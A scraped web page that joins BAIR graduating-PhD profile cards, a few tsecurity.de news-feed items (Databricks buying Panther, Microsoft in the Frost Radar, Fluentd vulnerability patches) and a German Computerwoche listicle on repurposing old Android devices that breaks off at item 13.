          <a href="https://weijer-chang.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/wei-jer-chang.jpg" alt="Wei-Jer Chang" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Wei-Jer Chang</h1><br>
              <strong>Email:</strong><a href="mailto:weijer_chang@berkeley.edu"> weijer_chang@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://weijer-chang.github.io/">https://weijer-chang.github.io/</a><br>
              
              <strong>Advisor(s):</strong> Masayoshi Tomizuka<br>
              
              <strong>Research Blurb:</strong> My research focuses on developing safe and intelligent autonomous systems for complex, human-centered environments. I work at the intersection of machine learning, generative models, and reinforcement learning, with applications in autonomy. My work addresses challenges in multi-agent interaction, interactive human behavior, and long-tail safety-critical scenarios at scale.<br>
              
              
              <strong>Looking for:</strong> Research Scientist, Applied Scientist, Roboticist
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://xiuyuli.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/xiuyu-li.jpg" alt="Xiuyu Li" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Xiuyu Li</h1><br>
              <strong>Email:</strong><a href="mailto:xiuyu@berkeley.edu"> xiuyu@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://xiuyuli.com/">https://xiuyuli.com/</a><br>
              
              <strong>Advisor(s):</strong> Kurt Keutzer<br>
              
              <strong>Research Blurb:</strong> My research focuses on developing scalable and self-improving large language model agents, with emphasis on coding agents for complex, long-horizon tasks. This direction builds on my work in parallel reasoning, and on broader expertise in making generative models more efficient in training and inference across language and vision.<br>
              
              
              <strong>What's next:</strong> Member of Technical Staff at xAI
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://yichen928.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/yichen-xie.jpg" alt="Yichen Xie" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Yichen Xie</h1><br>
              <strong>Email:</strong><a href="mailto:yichenxie0928@gmail.com"> yichenxie0928@gmail.com</a><br>
              <strong>Website:</strong> <a href="https://yichen928.github.io/">https://yichen928.github.io/</a><br>
              
              <strong>Advisor(s):</strong> Masayoshi Tomizuka<br>
              
              <strong>Research Blurb:</strong> My research focuses on building multimodal foundation models and world models that understand and interact with complex physical environments. I aim to develop unified representations across modalities, enabling AI systems to reason over space, time, and dynamics toward general-purpose embodied intelligence.<br>
              
              
              <strong>What's next:</strong> Research Scientist at Luma AI
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://www.linkedin.com/in/erginbas/"><img src="https://bair.berkeley.edu/static/blog/grads2026/yigit-efe-erginbas.jpg" alt="Yigit Efe Erginbas" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Yigit Efe Erginbas</h1><br>
              <strong>Email:</strong><a href="mailto:erginbas@berkeley.edu"> erginbas@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://www.linkedin.com/in/erginbas/">https://www.linkedin.com/in/erginbas/</a><br>
              
              <strong>Advisor(s):</strong> Kannan Ramchandran, Thomas A. Courtade<br>
              
              <strong>Research Blurb:</strong> My PhD research spans two threads: online learning in large-scale markets, and interpretability of large machine learning models. In the first, I work on sequential decision-making with applications to recommendation, pricing, and assortment selection. My focus is on designing algorithms with provable guarantees for welfare maximization, revenue maximization, and stability. In the second, I develop scalable attribution methods that exploit the sparse, low-degree structure of real-world interactions, using tools from signal processing and information theory. More recently, I have been exploring principled ways to evaluate the faithfulness of model self-explanations.<br>
              
              
              <strong>What's next:</strong> Researcher at Hudson River Trading's AI Labs (HAIL)
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://yihengli.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/yiheng-li.jpg" alt="Yiheng Li" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Yiheng Li</h1><br>
              <strong>Email:</strong><a href="mailto:yhli@berkeley.edu"> yhli@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://yihengli.com/">https://Yihengli.com</a><br>
              
              <strong>Advisor(s):</strong> Masayoshi Tomizuka<br>
              
              <strong>Research Blurb:</strong> I am working on vision world modeling, with prior experience in diffusion model's efficiency as well as in autonomous driving.<br>
              
              
              <strong>What's next:</strong> Research Scientist at Waymo
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://fu-zhe.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/zhe-fu.jpg" alt="Zhe Fu" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Zhe Fu</h1><br>
              <strong>Email:</strong><a href="mailto:zhefu@berkeley.edu"> zhefu@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://fu-zhe.com/">https://fu-zhe.com/</a><br>
              
              <strong>Advisor(s):</strong> Alexandre Bayen<br>
              
              <strong>Research Blurb:</strong> My research focuses on physics-informed learning and control for mixed-autonomy systems, with applications in transportation. I design physics-informed neural networks to learn solutions of nonlinear partial differential equations, enabling accurate and data-efficient prediction of traffic dynamics. Building on these models, I develop both model-based and learning-based control strategies that coordinate automated vehicles to improve system-level performance. My work bridges machine learning, control, and real-world deployment, and has been validated in large-scale field experiments. More broadly, I aim to advance trustworthy, interpretable AI for decision-making in complex, real-world systems.<br>
              
              
              <strong>What's next:</strong> I will be an Energy Fellow at Stanford after graduation. Also looking for Faculty, or research scientist positions in AI, control, and autonomy.
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
  </div>
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<title><![CDATA[Security Lakehouse: Databricks kauft Panther - CRN DE]]></title>
<description><![CDATA[Databricks treibt seine Expansion in den Cybersecurity-Markt mit dem nächsten Zukauf weiter voran. Nach Antimatter und SiftD.ai will der ...]]></description>
<link>https://tsecurity.de/de/3639252/it-security-nachrichten/security-lakehouse-databricks-kauft-panther-crn-de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639252/it-security-nachrichten/security-lakehouse-databricks-kauft-panther-crn-de/</guid>
<pubDate>Wed, 01 Jul 2026 19:08:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Databricks treibt seine Expansion in den Cybersecurity-Markt mit dem nächsten Zukauf weiter voran. Nach Antimatter und SiftD.ai will der ...]]></content:encoded>
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<title><![CDATA[Microsoft named a leader in the Frost Radar for cloud and application runtime security]]></title>
<description><![CDATA[Frost & Sullivan names Microsoft a leader as cloud and application security converge into unified, runtime risk reduction.
The post Microsoft named a leader in the Frost Radar for cloud and application runtime security appeared first on Microsoft Security Blog.]]></description>
<link>https://tsecurity.de/de/3639250/it-security-nachrichten/microsoft-named-a-leader-in-the-frost-radar-for-cloud-and-application-runtime-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639250/it-security-nachrichten/microsoft-named-a-leader-in-the-frost-radar-for-cloud-and-application-runtime-security/</guid>
<pubDate>Wed, 01 Jul 2026 19:08:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Frost &amp; Sullivan names Microsoft a leader as cloud and application security converge into unified, runtime risk reduction.</p>
<p>The post <a href="https://www.microsoft.com/en-us/security/blog/2026/07/01/microsoft-named-a-leader-in-the-frost-radar-for-cloud-and-application-runtime-security/">Microsoft named a leader in the Frost Radar for cloud and application runtime security</a> appeared first on <a href="https://www.microsoft.com/en-us/security/blog">Microsoft Security Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft named a leader in the Frost Radar for cloud and application runtime security]]></title>
<description><![CDATA[Frost & Sullivan names Microsoft a leader as cloud and application security converge into unified, runtime risk reduction. The post Microsoft named a leader in the Frost Radar for cloud and application runtime security appeared first on Microsoft Security Blog.…
Read more →
The post Microsoft nam...]]></description>
<link>https://tsecurity.de/de/3639242/it-security-nachrichten/microsoft-named-a-leader-in-the-frost-radar-for-cloud-and-application-runtime-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639242/it-security-nachrichten/microsoft-named-a-leader-in-the-frost-radar-for-cloud-and-application-runtime-security/</guid>
<pubDate>Wed, 01 Jul 2026 19:08:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Frost &amp; Sullivan names Microsoft a leader as cloud and application security converge into unified, runtime risk reduction. The post Microsoft named a leader in the Frost Radar for cloud and application runtime security appeared first on Microsoft Security Blog.…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/microsoft-named-a-leader-in-the-frost-radar-for-cloud-and-application-runtime-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/microsoft-named-a-leader-in-the-frost-radar-for-cloud-and-application-runtime-security/">Microsoft named a leader in the Frost Radar for cloud and application runtime security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Fluentd Patches Critical RCE, SSRF, DoS, and Sensitive Data Exposure Flaws]]></title>
<description><![CDATA[Fluentd, the widely used open-source data collector for unified logging, has released version 1.19.3 to fix a critical remote code execution flaw, along with three high-severity vulnerabilities that enable information disclosure, denial-of-service, and server-side request forgery. All affected ve...]]></description>
<link>https://tsecurity.de/de/3638295/it-security-nachrichten/fluentd-patches-critical-rce-ssrf-dos-and-sensitive-data-exposure-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638295/it-security-nachrichten/fluentd-patches-critical-rce-ssrf-dos-and-sensitive-data-exposure-flaws/</guid>
<pubDate>Wed, 01 Jul 2026 13:25:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fluentd, the widely used open-source data collector for unified logging, has released version 1.19.3 to fix a critical remote code execution flaw, along with three high-severity vulnerabilities that enable information disclosure, denial-of-service, and server-side request forgery. All affected versions are 1.19.2 and below, with the patched release closing four distinct attack paths that could be […]</p>
<p>The post <a href="https://cyberpress.org/critical-fluentd-flaws-patches/">Fluentd Patches Critical RCE, SSRF, DoS, and Sensitive Data Exposure Flaws</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Fluentd Security Flaws Enable Remote Code Execution, SSRF, DoS, and Credential Exposure]]></title>
<description><![CDATA[Fluentd, a widely used open-source data collector for unified logging, has reported several high-impact vulnerabilities that could enable attackers to achieve remote code execution (RCE), server-side request forgery (SSRF), denial-of-service (DoS), and the exposure of sensitive credentials. These...]]></description>
<link>https://tsecurity.de/de/3637844/it-security-nachrichten/fluentd-security-flaws-enable-remote-code-execution-ssrf-dos-and-credential-exposure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637844/it-security-nachrichten/fluentd-security-flaws-enable-remote-code-execution-ssrf-dos-and-credential-exposure/</guid>
<pubDate>Wed, 01 Jul 2026 10:38:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fluentd, a widely used open-source data collector for unified logging, has reported several high-impact vulnerabilities that could enable attackers to achieve remote code execution (RCE), server-side request forgery (SSRF), denial-of-service (DoS), and the exposure of sensitive credentials. These issues, documented in multiple GitHub Security Advisories, affect Fluentd versions up to 1.19.2 and have been resolved […]</p>
<p>The post <a href="https://gbhackers.com/fluentd-security-flaws/">Fluentd Security Flaws Enable Remote Code Execution, SSRF, DoS, and Credential Exposure</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Fluentd Security Flaws Enable Remote Code Execution, SSRF, DoS, and Credential Exposure]]></title>
<description><![CDATA[Fluentd, a widely used open-source data collector for unified logging, has reported several high-impact vulnerabilities that could enable attackers to achieve remote code execution (RCE), server-side request forgery (SSRF), denial-of-service (DoS), and the exposure of sensitive credentials. These...]]></description>
<link>https://tsecurity.de/de/3637842/it-security-nachrichten/fluentd-security-flaws-enable-remote-code-execution-ssrf-dos-and-credential-exposure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637842/it-security-nachrichten/fluentd-security-flaws-enable-remote-code-execution-ssrf-dos-and-credential-exposure/</guid>
<pubDate>Wed, 01 Jul 2026 10:38:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fluentd, a widely used open-source data collector for unified logging, has reported several high-impact vulnerabilities that could enable attackers to achieve remote code execution (RCE), server-side request forgery (SSRF), denial-of-service (DoS), and the exposure of sensitive credentials. These issues, documented…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/fluentd-security-flaws-enable-remote-code-execution-ssrf-dos-and-credential-exposure/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/fluentd-security-flaws-enable-remote-code-execution-ssrf-dos-and-credential-exposure/">Fluentd Security Flaws Enable Remote Code Execution, SSRF, DoS, and Credential Exposure</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[19 Wege, Android-Staubfänger wiederzubeleben]]></title>
<description><![CDATA[Es gibt bessere Dinge, die Sie mit Android-Altgeräten anstellen können. 
					Foto: Melnikov Dmitriy | shutterstock.com




Mit jeder neuen Smartphone- und Tablet-Generation wächst die Zahl der Devices, die ausgemustert werden. In den allermeisten Fällen werden die (oft gar nicht so) alten Geräts...]]></description>
<link>https://tsecurity.de/de/3637307/it-security-nachrichten/19-wege-android-staubfaenger-wiederzubeleben/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637307/it-security-nachrichten/19-wege-android-staubfaenger-wiederzubeleben/</guid>
<pubDate>Wed, 01 Jul 2026 05:34:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Es gibt bessere Dinge, die Sie mit Android-Altgeräten anstellen können. " title="Es gibt bessere Dinge, die Sie mit Android-Altgeräten anstellen können. " src="https://images.computerwoche.de/bdb/3392721/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Es gibt bessere Dinge, die Sie mit Android-Altgeräten anstellen können. </p></figcaption></figure><p class="imageCredit">
					Foto: Melnikov Dmitriy | shutterstock.com</p></div>




<p>Mit jeder neuen Smartphone- und <a href="https://www.computerwoche.de/k/tablet-pc,3453" target="_blank" class="idgGlossaryLink">Tablet</a>-Generation wächst die Zahl der Devices, die ausgemustert werden. In den allermeisten Fällen werden die (oft gar nicht so) alten Gerätschaften dann <a href="https://www.computerwoche.de/article/2824673/alte-smartphones-sind-eine-goldgrube.html" title="zu Staubfängern" target="_blank">zu Staubfängern</a>. Was schade ist, denn es gibt diverse Möglichkeiten, um alten <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Telefonen und –<a href="https://www.computerwoche.de/k/tablet-pc,3453" target="_blank" class="idgGlossaryLink">Tablets</a> zu neuem Glanz und Nutzwert zu verhelfen. Zum Beispiel die folgenden.</p>



<h2 class="wp-block-heading">1. Wireless Trackpad</h2>



<p>Mit Hilfe der richtigen Software und einigen Minuten Zeitaufwand für die Konfiguration, können Sie Ihr <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Gerät im Handumdrehen zu einem Trackpad, beziehungsweise Controller für <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-, Mac und <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Rechner umfunktionieren.</p>



<p>Alles was Sie dazu brauchen, ist die in der Basisversion kostenlose App “<a href="https://play.google.com/store/apps/details?id=com.Relmtech.Remote&amp;rdid=com.Relmtech.Remote" title="Unified Remote" target="_blank" rel="noopener">Unified Remote</a>” sowie eine Bluetooth- oder WLAN-Verbindung. Mit der Gratis-Version stehen Ihnen grundlegende Maus- und Tastatursteuerung sowie spezielle Remote-Befehle für Medienwiedergabe und Energiemanagement zur Verfügung. Die 4,99 Euro teure <a href="https://play.google.com/store/apps/details?id=com.Relmtech.RemotePaid" title="Vollversion der App" target="_blank" rel="noopener">Vollversion der App</a> bietet darüber hinaus erweiterte Funktionen – beispielsweise programmspezifische Remote-Funktionen. </p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Die App Unified Remote bietet grundlegende Maus- und Tastatur-Kontrollmöglichkeiten." title="Die App Unified Remote bietet grundlegende Maus- und Tastatur-Kontrollmöglichkeiten." src="https://images.computerwoche.de/bdb/3392722/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Die App Unified Remote bietet grundlegende Maus- und Tastatur-Kontrollmöglichkeiten.</p></figcaption></figure><p class="imageCredit">
					Foto: JR Raphael | IDG</p></div>




<p>Wenn Sie sich für eine Version entschieden haben, brauchen Sie nur noch die <a href="https://www.unifiedremote.com/" title="zugehörige Software für Ihren Rechner herunterladen" target="_blank" rel="noopener">zugehörige Software für Ihren Rechner herunterladen</a>.</p>



<h2 class="wp-block-heading">2. Remote-Terminal</h2>



<p>Abgelegte <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Devices eignen sich außerdem auch ganz gut, um sie zu einem Remote-Terminal für Ihren PC umzufunktionieren. Dafür benötigen Sie lediglich die kostenlose Google-Software Chrome Remote Desktop. Die entsprechenden Apps finden Sie <a href="https://chromewebstore.google.com/detail/chrome-remote-desktop/inomeogfingihgjfjlpeplalcfajhgai" title="im Chrome Web Store" target="_blank" rel="noopener">im Chrome Web Store</a> sowie <a href="https://play.google.com/store/apps/details?id=com.google.chromeremotedesktop&amp;hl=de_DE" title="dem Google Play Store" target="_blank" rel="noopener">dem Google Play Store</a>.</p>



<p>Ein ausführliches Tutorial, was Sie mit dieser Lösung tun können – und vor allem wie – bietet folgender Artikel:</p>



<ul class="wp-block-list">
<li><p><a title="So geht Fernzugriff per Google-Browser" href="https://www.computerwoche.de/article/2832805/so-geht-fernzugriff-per-google-browser.html" target="_blank">So geht Fernzugriff per Google-Browser</a></p></li>
</ul>



<h2 class="wp-block-heading">3. Mobile Storage</h2>



<p>Cloud Storage mag heutzutage en vogue sein, aber auch der gute, alte physische Speicher hat seine Vorzüge, sowohl wenn es um Verfügbarkeit als auch den Zugriff geht. Dafür stehen Speichersticks und externe Festplatten in rauen Mengen zur Verfügung – oder Sie nutzen dafür Ihr altes <a class="idgGlossaryLink" href="https://www.computerwoche.de/mobile/" target="_blank">Android</a>-Handy. Das bietet den zusätzlichen Benefit, gleich ein Interface mit an Bord zu haben, um mit dem gespeicherten Content zu interagieren. Optional können Sie diesen dann auch in die Cloud verschieben, per E-Mail versenden oder in kollaborativen Umgebungen nutzen, falls erforderlich oder gewünscht.</p>



<p>Um das alte <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Gerät zum mobilen Storage-Device umzufunktionieren, empfiehlt es sich, das Gerät zunächst zurückzusetzen, um so viel Speicherplatz wie möglich freizumachen. Anschließend können Sie damit loslegen, Daten zu schaufeln.</p>



<h2 class="wp-block-heading">4. KI-Chatbot</h2>



<p>Generative KI entwickelt sich zu einem immer bedeutenderen Produktivitäts-Tool für Unternehmen. Wenn Sie ebenfalls dem LLM-Fieber erlegen sind oder aus anderen Gründen – beispielsweise zur Akkuschonung des Erstgeräts – ganztags einen dedizierten KI-Chatbot um sich haben möchten, unterstützt Sie dabei ein ausgemustertes <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Smartphone oder auch –<a href="https://www.computerwoche.de/k/tablet-pc,3453" target="_blank" class="idgGlossaryLink">Tablet</a>.</p>



<p>Dazu brauchen Sie nicht viel mehr als eine entsprechende App aus dem Google Play Store. Zum Beispiel:</p>



<ul class="wp-block-list">
<li><p><a title="ChatGPT" href="https://play.google.com/store/apps/details?id=com.openai.chatgpt" target="_blank" rel="noopener">ChatGPT</a>,</p></li>



<li><p><a title="Gemini" href="https://play.google.com/store/apps/details?id=com.google.android.apps.bard" target="_blank" rel="noopener">Gemini</a> oder</p></li>



<li><p><a title="Copilot" href="https://play.google.com/store/apps/details?id=com.microsoft.copilot" target="_blank" rel="noopener">Copilot</a>.</p></li>
</ul>



<h2 class="wp-block-heading">5. Universal Smart Remote</h2>



<p>Sogar wirklich alte <a class="idgGlossaryLink" href="https://www.computerwoche.de/mobile/" target="_blank">Android</a>-Geräte bringen genügend Leistung mit, um sie zur Universal-Fernbedienung für smarte Devices sowie Audio- und Video-Systeme umzufunktionieren. Dazu stehen Ihnen diverse Möglichkeiten in App- und auch Hardware-Form zur Verfügung. Zum Beispiel:</p>



<ul class="wp-block-list">
<li><p>Smart-Home-Apps wie <a title="Nest" href="https://play.google.com/store/apps/details?id=com.nest.android" target="_blank" rel="noopener">Nest</a> oder <a title="Hue" href="https://play.google.com/store/apps/details?id=com.philips.lighting.hue2" target="_blank" rel="noopener">Hue</a>,</p></li>



<li><p><a title="Google TV" href="https://play.google.com/store/apps/details?id=com.google.android.videos&amp;hl=de_DE" target="_blank" rel="noopener">Google TV</a> in Kombination mit einem <a title="Chromecast" href="https://support.google.com/chromecast/answer/12578818?hl=de" target="_blank" rel="noopener">Chromecast</a>-Dongle oder</p></li>



<li><p>Streaming-Apps wie <a title="Roku" href="https://play.google.com/store/search?q=roku&amp;c=apps" target="_blank" rel="noopener">Roku</a> und <a title="Netflix" href="https://play.google.com/store/search?q=netflix&amp;c=apps" target="_blank" rel="noopener">Netflix</a>.</p></li>
</ul>



<p>Alternativ können Sie auch mit Hilfe von <a href="https://www.plex.tv/de/" title="Plex" target="_blank" rel="noopener">Plex</a> einen vollwertigen Medienserver einrichten und Ihr altes <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Device dazu nutzen, eigene lokale Inhalte auf Ihren TV zu streamen.</p>



<h2 class="wp-block-heading">6. Forschungsunterstützung</h2>



<p>Alte <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Klötze eignen sich auch, um zur wissenschaftlichen Forschung beizutragen. Auch dazu stehen verschiedene App-Optionen im Google Play Store zur Verfügung. Sie alle funktionieren auf die gleiche Weise: Nach der Installation nutzt die Software (bei aktiver WLAN-Verbindung) die Rechenleistung des Geräts, um den jeweiligen Forschungsbereich voranzutreiben.</p>



<p>Eine erwähnenswerte Optionen in diesem Bereich ist etwa:</p>



<ul class="wp-block-list">
<li><p><a title="MyShake" href="https://play.google.com/store/apps/details?id=edu.berkeley.bsl.myshake" target="_blank" rel="noopener">MyShake</a>, eine App der Berkeley-Universität, das die Sensoren des Geräts nutzt, um Erdbeben zu erkennen und zu analysieren.</p></li>
</ul>



<h2 class="wp-block-heading">7. Überwachungskamera</h2>



<p>Wenn Sie vorhaben, sich demnächst eine Inhouse-Überwachungskamera anzuschaffen: Sparen Sie sich das Geld und nutzen Sie dafür Ihr altes <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Handy. Mit der richtigen App behalten Sie Ihre Räumlichkeiten jederzeit im Auge – ohne dabei auf Funktionen wie Videoaufzeichnung oder Bewegungserkennung verzichten zu müssen.</p>



<p>Dazu empfiehlt sich die kostenlose <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-App <a href="https://play.google.com/store/apps/details?id=com.pas.webcam" title="IP Webcam" target="_blank" rel="noopener">IP Webcam</a> (die auch in einer 5,49 Euro teuren <a href="https://play.google.com/store/apps/details?id=com.pas.webcam.pro" title="Pro-Version" target="_blank" rel="noopener">Pro-Version</a> zur Verfügung steht). Nach der Installation greifen Sie per VLC Player oder einem beliebigen Browser auf den Videofeed zu.</p>



<h2 class="wp-block-heading">8. Ersatzkamera</h2>



<p>Wenn Ihr <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Smartphone noch relativ jung ist, stehen die Chancen gut, dass es eine relativ hochwertige Kamera an Bord hat. Das können Sie sich in Situationen zunutze machen, in denen Sie Ihr Haupttelefon nicht nutzen wollen – sei es aufgrund von drohenden Umwelteinflüssen oder weil Sie unterwegs keinen Wert auf eingehende Nachrichten legen.</p>



<p>Das Beste daran: Sie brauchen dazu nichts – außer ein Altgerät, das Ihren Foto-Ansprüchen gerecht wird.</p>



<h2 class="wp-block-heading">9. Videokonferenzstation</h2>



<p>Wenn Sie sich schon immer einen fest verankerten Access Point für Videokonferenzen und virtuelle Meetings auf Ihrem Schreibtisch gewünscht haben, befähigt Sie dazu jetzt Ihre <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Altlast. Dazu benötigen Sie:</p>



<ul class="wp-block-list">
<li><p>eine ordentliche Docking-Station sowie </p></li>



<li><p>die Collaboration-App Ihrer Wahl (etwa <a title="Zoom" href="https://play.google.com/store/apps/details?id=us.zoom.videomeetings&amp;hl=de_DE" target="_blank" rel="noopener">Zoom</a> oder <a title="Teams" href="https://play.google.com/store/search?q=teams&amp;c=apps&amp;hl=de_DE" target="_blank" rel="noopener">Teams</a>).</p></li>
</ul>



<p>Wenn Sie noch einen Schritt weiter gehen möchten, könnten Sie mit ausreichend <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Altgeräten auch ein Haus- oder Office-weites Videokonferenzsystem auf die Beine stellen.</p>



<h2 class="wp-block-heading">10. Gourmet-Hub</h2>



<p>Falls Sie gerne kochen, können Sie alte <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Handys oder <a href="https://www.computerwoche.de/k/tablet-pc,3453" target="_blank" class="idgGlossaryLink">Tablets</a> auch zu multifunktionalen Kommandozentralen für die Küche umwandeln. Dazu brauchen Sie im Wesentlichen zwei Zutaten: Einen Android Launcher, um den Homescreen des Geräts anzupassen und Sprach- sowie weitere Freihandbefehle starten zu können. Eine Übersicht bietet folgender Artikel:</p>



<ul class="wp-block-list">
<li><p><a title="Die besten Android- Launcher" href="https://www.computerwoche.de/article/2824401/die-besten-android-launcher.html" target="_blank">Die besten Android- Launcher</a></p></li>
</ul>



<p>Anschließend brauchen Sie nur noch die richtigen Apps für Ihren Zweck zu installieren. Mit Bezug auf kulinarische Genüsse empfehlen sich beispielsweise:</p>



<ul class="wp-block-list">
<li><p><a title="Rezept" href="https://play.google.com/store/search?q=rezepte&amp;c=apps" target="_blank" rel="noopener">Rezept</a>– oder</p></li>



<li><p><a title="Notiz-Apps" href="https://www.computerwoche.de/article/2832169/notebooklm-angetestet.html" target="_blank">Notiz-Apps</a>.</p></li>
</ul>



<h2 class="wp-block-heading">11. Webcam-Fenster</h2>



<p>Wenn der Blick aus dem Fenster eher für Verdruss sorgt, schaffen Sie mit einem ausgemusterten <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Gerät Abhilfe. Dazu machen Sie es einfach per App oder Browser zu einem Schaufenster in einen anderen Teil der Welt. Zum Beispiel mit:</p>



<ul class="wp-block-list">
<li><p>der <a title="Webcams-App von EarthCam" href="https://play.google.com/store/apps/details?id=com.earthcam.webcams" target="_blank" rel="noopener">Webcams-App von EarthCam</a>, die eine beeindruckende Sammlung von Webcam-Feeds auf der ganzen Welt bereithält</p></li>



<li><p>der <a title="Website des Zoos von San Diego" href="https://zoo.sandiegozoo.org/live-cameras" target="_blank" rel="noopener">Website des Zoos von San Diego</a>, der Live-Einblicke in diverse Gehege bereitstellt.</p></li>



<li><p>der <a title="Webpräsenz des Monterey Bay Aquariums" href="https://www.montereybayaquarium.org/animals/live-cams" target="_blank" rel="noopener">Webpräsenz des Monterey Bay Aquariums</a>, die Unterwasser-Einblicke bereithält.</p></li>



<li><p>die <a title="Webseite des Zoo Zürich" href="https://www.zoo.ch/de/zoobesuch/webcams" target="_blank" rel="noopener">Webseite des Zoo Zürich</a>, die Live-Bilder zum Teil auch in 360-Grad-Ansicht liefert.</p></li>
</ul>



<h2 class="wp-block-heading">12. Digitaler Fotorahmen</h2>



<p>Mit einem günstigen Standfuß können Sie Ihr <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Handy von vor ein paar Jahren auch in einen digitalen Bilderrahmen mit Cloud-Verbindung umwandeln.</p>



<p>Dazu brauchen Sie nicht viel mehr als die standardmäßige Google-Fotos-App. Die erzeugt aus Ihren gespeicherten Fotos auf Knopfdruck eine Diashow.</p>



<h2 class="wp-block-heading">13. E-Reader</h2>



